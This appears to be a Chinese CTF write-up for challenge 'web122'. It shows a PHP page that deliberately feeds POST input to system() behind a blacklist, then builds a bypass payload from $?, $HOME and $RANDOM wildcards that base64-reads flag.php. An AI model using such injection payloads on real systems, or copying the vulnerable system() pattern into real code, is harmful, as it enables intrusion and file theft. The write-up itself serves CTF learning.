web122笔记(禁好多)

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

禁了这么多,老实了。发现HOME,RANDOM,我们这里选用命令是/bin/base64 flag.php,之前的命令都因为SHLVL被禁用不了了。

$? 表示上一条命令执行结束后的传回值。通常0表示执行成功,非0表示执行有误

有部分指令执行失败时会返回1,也有一些命令返回其他值,表示不同类型的错误 比如Command not found就会返回127

为了能让 $? 能够返回1,则需要让前一条命令是错误的,这个错误命令的返回值就是1这里的话可以用 <A,然后就是${RANDOM::1} RANDOM函数输出随机的整数,1表示输出一个整数,而1被过滤,使用$?即可。最终payload

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

《==》/bin/base64 flag.php

过滤了PWD、#,⽩名单了HOME 查看⼀下hint $?

$?是表示上⼀条命令执⾏结束后的传回值。通常0代表执⾏成功,⾮0代表执⾏有误

利⽤<A构造数字1,然后看运⾏跑出数字4

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

 

 

"OS error code 1: Operation not permitted"

"OS error code 2: No such file or directory"

"OS error code 3: No such process"

"OS error code 4: Interrupted system call"

"OS error code 5: Input/output error"

"OS error code 6: No such device or address"

"OS error code 7: Argument list too long"

"OS error code 8: Exec format error"

"OS error code 9: Bad file descriptor"

"OS error code 10: No child processes"

posted @ 2025-03-17 21:06  justdoIT*  阅读(8)  评论(0)    收藏  举报